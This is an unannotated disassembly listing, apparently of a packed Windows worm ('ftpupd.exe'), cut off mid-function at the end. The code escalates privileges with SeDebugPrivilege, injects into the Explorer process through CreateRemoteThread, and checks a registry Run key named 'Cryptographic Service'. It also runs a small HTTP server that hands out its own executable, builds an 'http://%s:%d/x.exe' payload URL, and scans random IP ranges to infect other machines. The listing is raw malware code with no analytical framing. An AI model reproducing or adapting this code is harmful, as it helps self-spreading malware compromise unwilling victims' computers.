cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31421D3F ; --------------------------------------------------------------------------- loc_31421BF7: ; CODE XREF: sub_31421801+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31422CD6 push 4 lea eax, [ebp+var_24F4] push offset dword_31424BF8 push eax call sub_31422CE2 push offset byte_314242B8 call sub_31422CDC push eax lea eax, [ebp+var_24E4] push offset byte_314242B8 push eax call sub_31422CE2 push 4 lea eax, [ebp+var_21C0] push offset loc_31424C70 push eax call sub_31422CE2 push 4 lea eax, [ebp+var_21BC] push offset dword_31424BF8 push eax call sub_31422CE2 add esp, 40h push offset byte_314242B8 call sub_31422CDC push eax lea eax, [ebp+var_21B0] push offset byte_314242B8 push eax call sub_31422CE2 add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31421C93: ; CODE XREF: sub_31421801+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31421C93 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31422CD6 push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31422CD6 add esp, 18h jmp loc_31421A98 ; --------------------------------------------------------------------------- loc_31421CE7: ; CODE XREF: sub_31421801+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_3142490C push eax call sub_31422CE2 lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31422CE2 push 90h lea eax, [ebp+var_16DC] push offset dword_3142498C push eax call sub_31422CE2 add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31421D3F: ; CODE XREF: sub_31421801+3F1j push eax push [ebp+var_4] call ebx push edi call esi and [ebp+var_C], 0 loc_31421D4C: ; CODE XREF: sub_31421801+1ADj ; sub_31421801+1E1j ... push 2 push [ebp+var_4] call dword_31421170 loc_31421D57: ; CODE XREF: sub_31421801+166j push [ebp+var_4] call dword_31421174 pop esi loc_31421D61: ; CODE XREF: sub_31421801+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31421801 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421D68 proc near ; CODE XREF: UPX0:loc_31422376p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314210A8 mov esi, dword_314210A4 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi test eax, eax mov [ebp+var_4], eax jz short loc_31421DEC push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi test eax, eax mov [ebp+var_8], eax jz short loc_31421DEC push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi mov esi, eax test esi, esi jz short loc_31421DEC lea eax, [ebp+var_C] push eax push 20h call dword_314210A0 push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi loc_31421DEC: ; CODE XREF: sub_31421D68+28j ; sub_31421D68+37j ... pop edi pop esi leave retn sub_31421D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421DF0 proc near ; CODE XREF: UPX0:3142238Ap var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31425000 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314210B4 mov esi, dword_314210A4 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi test eax, eax mov [ebp+var_10], eax jnz short loc_31421E37 loc_31421E33: ; CODE XREF: sub_31421DF0+54j push 1 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E37: ; CODE XREF: sub_31421DF0+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi test eax, eax mov [ebp+var_14], eax jz short loc_31421E33 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31421110 test eax, eax jnz short loc_31421E65 call dword_31421114 test eax, eax jnz short loc_31421E65 push 2 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E65: ; CODE XREF: sub_31421DF0+65j ; sub_31421DF0+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31421118 push [ebp+var_8] push 0 push 42Ah call dword_314210B0 mov ebx, eax test ebx, ebx jnz short loc_31421E8B push 3 loc_31421E88: ; CODE XREF: sub_31421DF0+45j ; sub_31421DF0+73j pop eax jmp short loc_31421EF6 ; --------------------------------------------------------------------------- loc_31421E8B: ; CODE XREF: sub_31421DF0+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3142107C test eax, eax jz short loc_31421EE9 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314210AC push dword_31424FF4 call esi lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31421ED5 push eax call esi jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421ED5: ; CODE XREF: sub_31421DF0+DEj push offset aUterm192 ; "uterm19-2" call sub_31421F29 pop ecx mov [ebp+var_4], 5 jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421EE9: ; CODE XREF: sub_31421DF0+B2j mov [ebp+var_4], 4 loc_31421EF0: ; CODE XREF: sub_31421DF0+E3j ; sub_31421DF0+F7j push ebx call esi mov eax, [ebp+var_4] loc_31421EF6: ; CODE XREF: sub_31421DF0+99j pop edi pop esi pop ebx leave retn sub_31421DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421EFB proc near ; CODE XREF: sub_314221C4+Bp ; UPX0:3142234Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314210B8 mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314210EC pop ecx pop edi pop esi pop ebx leave retn sub_31421EFB endp ; =============== S U B R O U T I N E ======================================= sub_31421F29 proc near ; CODE XREF: sub_31421DF0+EAp ; UPX0:31422356p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314210BC retn sub_31421F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F38 proc near ; CODE XREF: sub_314223B2+155p ; sub_314223B2+160p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 pop ebp retn sub_31421F38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F52 proc near ; CODE XREF: sub_314221C4+12Cp ; sub_314225C3+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 push eax call dword_3142107C pop ebp retn sub_31421F52 endp ; =============== S U B R O U T I N E ======================================= sub_31421F73 proc near ; CODE XREF: sub_314211A0+68p ; sub_31422A9B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31421F9B loc_31421F84: ; CODE XREF: sub_31421F73+26j call dword_314210FC push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31421F84 loc_31421F9B: ; CODE XREF: sub_31421F73+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31421F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FA3 proc near ; CODE XREF: sub_314211A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31422CD6 mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314210C4 push [ebp+var_C] mov esi, dword_3142107C mov edi, eax call esi push [ebp+var_10] call esi mov eax, edi pop edi pop esi leave retn sub_31421FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FF9 proc near ; CODE XREF: sub_3142264B+3Ep ; sub_31422712+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3142114C cmp eax, 0FFFFFFFFh jnz short loc_3142201A call dword_31421150 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_3142201A: ; CODE XREF: sub_31421FF9+15j lea eax, [ebp+var_34] push eax call dword_31421154 test eax, eax jnz short loc_3142202F mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_3142202F: ; CODE XREF: sub_31421FF9+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31421FF9 endp ; =============== S U B R O U T I N E ======================================= sub_31422038 proc near ; CODE XREF: sub_314216A2+12p ; sub_3142255F+22p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31421130 neg eax sbb eax, eax neg eax pop ecx retn sub_31422038 endp ; =============== S U B R O U T I N E ======================================= sub_3142204E proc near ; CODE XREF: sub_314223B2+E6p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314210CC test eax, eax jz short locret_31422067 push eax call dword_314210C8 locret_31422067: ; CODE XREF: sub_3142204E+10j retn sub_3142204E endp ; =============== S U B R O U T I N E ======================================= sub_31422068 proc near ; CODE XREF: sub_314216A2+68p push esi mov esi, dword_314210FC push edi call esi mov edi, eax shl edi, 10h call esi or eax, edi pop edi pop esi retn sub_31422068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142207E proc near ; DATA XREF: sub_314221C4+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_3142116C cmp eax, 0FFFFFFFFh jnz short loc_314220AF push 1 jmp loc_3142216A ; --------------------------------------------------------------------------- loc_314220AF: ; CODE XREF: sub_3142207E+28j mov esi, dword_31421104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi pop ecx test eax, eax pop ecx jz loc_3142217A lea eax, [ebp+var_100] push offset dword_314241F0 push eax call esi pop ecx test eax, eax pop ecx jz loc_3142217A mov esi, dword_31421168 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi push dword_31424FF0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3142111C add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31422CDC pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi loc_3142212C: ; CODE XREF: sub_3142207E+E8j mov eax, dword_31424FF0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_3142213E mov eax, ecx loc_3142213E: ; CODE XREF: sub_3142207E+BCj test eax, eax jz short loc_3142216D push 0 push eax mov eax, dword_31424FE8 add eax, edi push eax push ebx call esi cmp eax, 0FFFFFFFFh jz short loc_31422168 cmp eax, 1000h jb short loc_3142216D push 64h add edi, eax call dword_31421094 jmp short loc_3142212C ; --------------------------------------------------------------------------- loc_31422168: ; CODE XREF: sub_3142207E+D5j push 2 loc_3142216A: ; CODE XREF: sub_3142207E+2Cj pop eax jmp short loc_314221BD ; --------------------------------------------------------------------------- loc_3142216D: ; CODE XREF: sub_3142207E+C2j ; sub_3142207E+DCj push offset dword_31424FEC call dword_314210D4 jmp short loc_31422198 ; --------------------------------------------------------------------------- loc_3142217A: ; CODE XREF: sub_3142207E+49j ; sub_3142207E+61j mov esi, dword_31421168 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi push 0 push 3 push offset dword_31424D3C push ebx call esi loc_31422198: ; CODE XREF: sub_3142207E+FAj push 7D0h call dword_31421094 push 2 push ebx call dword_31421170 push ebx call dword_31421174 push 0 call dword_314210D0 xor eax, eax loc_314221BD: ; CODE XREF: sub_3142207E+EDj pop edi pop esi pop ebx leave retn 4 sub_3142207E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314221C4 proc near ; DATA XREF: sub_314223B2+150o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31421EFB lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31424FEC, ebx call sub_31422882 add esp, 14h test eax, eax jnz loc_314222F9 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31421080 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31422230 push 1 call dword_314210D0 loc_31422230: ; CODE XREF: sub_314221C4+62j push ebx push esi call dword_314210DC push eax mov dword_31424FF0, eax call sub_31422CA5 pop ecx mov dword_31424FE8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31424FF0 push eax push esi call dword_314210D8 mov eax, [ebp+var_4] push esi mov dword_31424FF0, eax call dword_3142107C push ebx push 1 push 2 call dword_31421158 push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31422CD6 add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31422292: ; CODE XREF: sub_314221C4+E5j ; sub_314221C4+EDj ... call dword_314210FC add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31424FFC, eax jz short loc_31422292 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31422292 push eax call dword_31421160 mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31421140 test eax, eax jnz short loc_31422292 push 64h push edi call dword_31421144 mov [ebp+var_8], esi pop esi loc_314222DB: ; CODE XREF: sub_314221C4+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31421148 push eax push offset sub_3142207E call sub_31421F52 pop ecx pop ecx jmp short loc_314222DB ; --------------------------------------------------------------------------- loc_314222F9: ; CODE XREF: sub_314221C4+3Dj push ebx call dword_314210D0 pop edi xor eax, eax pop ebx leave retn 4 sub_314221C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422308 proc near ; CODE XREF: sub_314223B2:loc_314224FCp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3142113C push eax push 2 call esi lea eax, [ebp+var_190] push eax push 102h call esi pop esi leave retn sub_31422308 endp ; --------------------------------------------------------------------------- loc_31422334: ; CODE XREF: UPX1:31427D08j push 0 call dword_314210B4 push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31425000, eax call dword_31421074 call sub_31421EFB push offset aUterm192 ; "uterm19-2" call sub_31421F29 pop ecx mov dword_31424FF4, eax call dword_314210E4 cmp eax, 0B7h jnz short loc_31422376 push 1 call dword_314210E0 loc_31422376: ; CODE XREF: UPX0:3142236Cj call sub_31421D68 call sub_314229E6 call sub_31422B67 push offset sub_314223B2 call sub_31421DF0 test eax, eax pop ecx jz short loc_3142239B push 0 call sub_314223B2 loc_3142239B: ; CODE XREF: UPX0:31422392j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_3142239E proc near ; CODE XREF: sub_314223B2:loc_31422525p ; sub_3142255F:loc_31422578p ... push 0 push dword_31424FF8 call dword_31421070 neg eax sbb eax, eax inc eax retn sub_3142239E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314223B2 proc near ; CODE XREF: UPX0:31422396p ; DATA XREF: UPX0:31422385o var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421190 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push esi push edi mov [ebp+var_70], offset aU10x ; "u10x" mov [ebp+var_6C], offset aU11x ; "u11x" mov [ebp+var_68], offset aU12x ; "u12x" mov [ebp+var_64], offset aU13x ; "u13x" mov [ebp+var_60], offset aU14x ; "u14x" mov [ebp+var_5C], offset aU15x ; "u15x" mov [ebp+var_58], offset aU16x ; "u16x" mov [ebp+var_54], offset aU17x ; "u17x" mov [ebp+var_50], offset aU18x ; "u18x" mov [ebp+var_4C], offset aU8 ; "u8" mov [ebp+var_48], offset aU9 ; "u9" mov [ebp+var_44], offset aU10 ; "u10" mov [ebp+var_40], offset aU11 ; "u11" mov [ebp+var_3C], offset aU12 ; "u12" mov [ebp+var_38], offset aU13 ; "u13" mov [ebp+var_34], offset aU13i ; "u13i" mov [ebp+var_30], offset aU14 ; "u14" mov [ebp+var_2C], offset aU15 ; "u15" mov [ebp+var_28], offset aU16 ; "u16" mov [ebp+var_24], offset aU17 ; "u17" mov [ebp+var_20], offset aU18 ; "u18" mov [ebp+var_1C], offset aU19 ; "u19" push offset aU192x ; "u19-2x" xor edi, edi push edi push 1 push edi call dword_3142106C mov dword_31424FF8, eax mov [ebp+var_4], edi mov [ebp+var_74], edi loc_3142248B: ; CODE XREF: sub_314223B2+EFj cmp [ebp+var_74], 9 jnb short loc_314224A3 mov eax, [ebp+var_74] push [ebp+eax*4+var_70] call sub_3142204E pop ecx inc [ebp+var_74] jmp short loc_3142248B ; --------------------------------------------------------------------------- loc_314224A3: ; CODE XREF: sub_314223B2+DDj mov [ebp+var_74], edi loc_314224A6: ; CODE XREF: sub_314223B2+10Aj cmp [ebp+var_74], 0Dh jnb short loc_314224BE mov eax, [ebp+var_74] push [ebp+eax*4+var_4C] call sub_31421F29 pop ecx inc [ebp+var_74] jmp short loc_314224A6 ; --------------------------------------------------------------------------- loc_314224BE: ; CODE XREF: sub_314223B2+F8j cmp [ebp+arg_0], edi jz short loc_314224FC push offset aWs2_32 ; "ws2_32" mov esi, dword_314210A8 call esi push offset aWininet ; "wininet" call esi push offset aMsvcrt ; "msvcrt" call esi push offset aAdvapi32 ; "advapi32" call esi push offset aUser32 ; "user32" call esi push offset aUterm192 ; "uterm19-2" call sub_31421F29 pop ecx mov dword_31424FF4, eax loc_314224FC: ; CODE XREF: sub_314223B2+10Fj call sub_31422308 push edi push offset sub_314221C4 call sub_31421F38 push edi push offset sub_314216A2 call sub_31421F38 push edi push offset loc_3142276E call sub_31421F38 add esp, 18h loc_31422525: ; CODE XREF: sub_314223B2+18Ej call sub_3142239E test eax, eax jnz short loc_31422542 push edi call dword_31421018 push 1388h call dword_31421094 jmp short loc_31422525 ; --------------------------------------------------------------------------- loc_31422542: ; CODE XREF: sub_314223B2+17Aj or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_314223B2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142255F proc near ; DATA XREF: sub_314225C3+55o ; sub_3142264B+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3142256E push 1 pop eax jmp short locret_314225BF ; --------------------------------------------------------------------------- loc_3142256E: ; CODE XREF: sub_3142255F+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_31422578: ; CODE XREF: sub_3142255F+5Aj call sub_3142239E test eax, eax jnz short loc_314225BB call sub_31422038 test eax, eax jz short loc_314225BB cmp [ebp+var_1], bl jz short loc_314225B4 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31421801 movzx esi, word_3142500C pop ecx call dword_314210FC cdq idiv esi add edx, esi push edx call dword_31421094 loc_314225B4: ; CODE XREF: sub_3142255F+2Ej inc bl cmp bl, 0FFh jb short loc_31422578 loc_314225BB: ; CODE XREF: sub_3142255F+20j ; sub_3142255F+29j pop esi xor eax, eax pop ebx locret_314225BF: ; CODE XREF: sub_3142255F+Dj leave retn 4 sub_3142255F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314225C3 proc near ; DATA XREF: sub_3142264B+7Eo ; UPX0:31422803o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_314225D1 push 1 pop eax jmp short loc_31422647 ; --------------------------------------------------------------------------- loc_314225D1: ; CODE XREF: sub_314225C3+7j push ebx push esi push edi call sub_31421EFB mov esi, dword_314210FC xor ebx, ebx loc_314225E1: ; CODE XREF: sub_314225C3+7Dj call sub_3142239E test eax, eax jnz short loc_31422642 call sub_31422038 test eax, eax jz short loc_31422642 call esi mov byte ptr [ebp+arg_0+2], al call esi push offset dword_31425004 mov byte ptr [ebp+arg_0+3], al call dword_314210D4 push [ebp+arg_0] call sub_31421801 test eax, eax pop ecx jnz short loc_31422624 push [ebp+arg_0] push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_31422624: ; CODE XREF: sub_314225C3+50j movzx edi, word_3142500C call esi cdq idiv edi add edx, edi push edx call dword_31421094 inc ebx cmp ebx, 8000h jl short loc_314225E1 loc_31422642: ; CODE XREF: sub_314225C3+25j ; sub_314225C3+2Ej pop edi pop esi xor eax, eax pop ebx loc_31422647: ; CODE XREF: sub_314225C3+Cj pop ebp retn 4 sub_314225C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142264B proc near ; DATA XREF: UPX0:3142281Bo var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31421EFB call sub_3142239E test eax, eax jnz loc_31422704 push ebx mov ebx, dword_31421094 push esi mov esi, dword_314210FC push edi loc_31422671: ; CODE XREF: sub_3142264B+48j ; sub_3142264B+B0j call esi mov byte ptr [ebp+var_4+1], al call esi mov byte ptr [ebp+var_4+3], al call esi mov byte ptr [ebp+var_4+2], al loc_31422680: ; CODE XREF: sub_3142264B+3Cj call esi cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31422680 call sub_31421FF9 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31422671 call sub_31422038 test eax, eax jz short loc_314226DC push offset dword_31425004 call dword_314210D4 push edi call sub_31421801 test eax, eax pop ecx jnz short loc_314226E3 push edi push offset sub_3142255F call sub_31421F52 pop ecx mov [ebp+var_8], 4 pop ecx loc_314226C8: ; CODE XREF: sub_3142264B+8Dj push edi push offset sub_314225C3 call sub_31421F52 dec [ebp+var_8] pop ecx pop ecx jnz short loc_314226C8 jmp short loc_314226E3 ; --------------------------------------------------------------------------- loc_314226DC: ; CODE XREF: sub_3142264B+51j push 2710h call ebx loc_314226E3: ; CODE XREF: sub_3142264B+67j ; sub_3142264B+8Fj movzx edi, word_3142500C call esi cdq idiv edi add edx, edi push edx call ebx call sub_3142239E test eax, eax jz loc_31422671 pop edi pop esi pop ebx loc_31422704: ; CODE XREF: sub_3142264B+11j push 0 call dword_314210D0 xor eax, eax leave retn 4 sub_3142264B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422712 proc near ; CODE XREF: UPX0:314227E0p ; UPX0:loc_31422846p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_31421FF9 push eax call dword_3142115C mov esi, dword_31421068 push eax lea eax, [ebp+var_28] push eax call esi push dword_31424FFC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3142111C add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314242BA call esi push offset byte_314242B8 call dword_31421084 mov byte_314242B8[eax], 0DFh pop esi leave retn sub_31422712 endp ; --------------------------------------------------------------------------- loc_3142276E: ; DATA XREF: sub_314223B2+166o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31425004, ebx call sub_31422038 mov esi, dword_31421094 mov edi, 1388h test eax, eax jnz short loc_3142279C loc_31422790: ; CODE XREF: UPX0:3142279Aj push edi call esi call sub_31422038 test eax, eax jz short loc_31422790 loc_3142279C: ; CODE XREF: UPX0:3142278Ej lea eax, [esp+14h] push ebx push eax call dword_31421130 test byte ptr [esp+14h], 2 push 50h mov dword_31425008, ebx pop ebp mov word_3142500C, 96h jz short loc_314227D9 mov dword_31425008, 1 mov ebp, 15Eh mov word_3142500C, 14h loc_314227D9: ; CODE XREF: UPX0:314227BFj call sub_31421FF9 mov ebx, eax call sub_31422712 cmp ebx, 100007Fh jz short loc_314227FA push ebx push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_314227FA: ; CODE XREF: UPX0:314227EBj mov dword ptr [esp+10h], 4 loc_31422802: ; CODE XREF: UPX0:31422813j push ebx push offset sub_314225C3 call sub_31421F52 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31422802 test ebp, ebp jle short loc_3142282A loc_31422819: ; CODE XREF: UPX0:31422828j push 0 push offset sub_3142264B call sub_31421F52 pop ecx dec ebp pop ecx jnz short loc_31422819 loc_3142282A: ; CODE XREF: UPX0:31422817j ; UPX0:31422836j ... call sub_31422038 test eax, eax jz short loc_31422838 push edi call esi jmp short loc_3142282A ; --------------------------------------------------------------------------- loc_31422838: ; CODE XREF: UPX0:31422831j ; UPX0:31422844j call sub_31422038 test eax, eax jnz short loc_31422846 push edi call esi jmp short loc_31422838 ; --------------------------------------------------------------------------- loc_31422846: ; CODE XREF: UPX0:3142283Fj call sub_31422712 jmp short loc_3142282A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142284D proc near ; CODE XREF: sub_314229E6+93p ; sub_31422B67+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C test eax, eax jnz short loc_31422880 push [ebp+arg_8] push [ebp+arg_4] call dword_31421010 push [ebp+arg_4] call dword_31421014 loc_31422880: ; CODE XREF: sub_3142284D+1Cj pop ebp retn sub_3142284D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422882 proc near ; CODE XREF: sub_314221C4+33p ; sub_314229E6+84p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C test eax, eax jz short loc_314228AE push 1 pop eax jmp short loc_314228D8 ; --------------------------------------------------------------------------- loc_314228AE: ; CODE XREF: sub_31422882+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31421008 test eax, eax jz short loc_314228CD push 2 pop esi loc_314228CD: ; CODE XREF: sub_31422882+46j push [ebp+arg_10] call dword_31421014 mov eax, esi loc_314228D8: ; CODE XREF: sub_31422882+2Aj pop esi leave retn sub_31422882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314228DB proc near ; CODE XREF: sub_31422A9B+96p ; 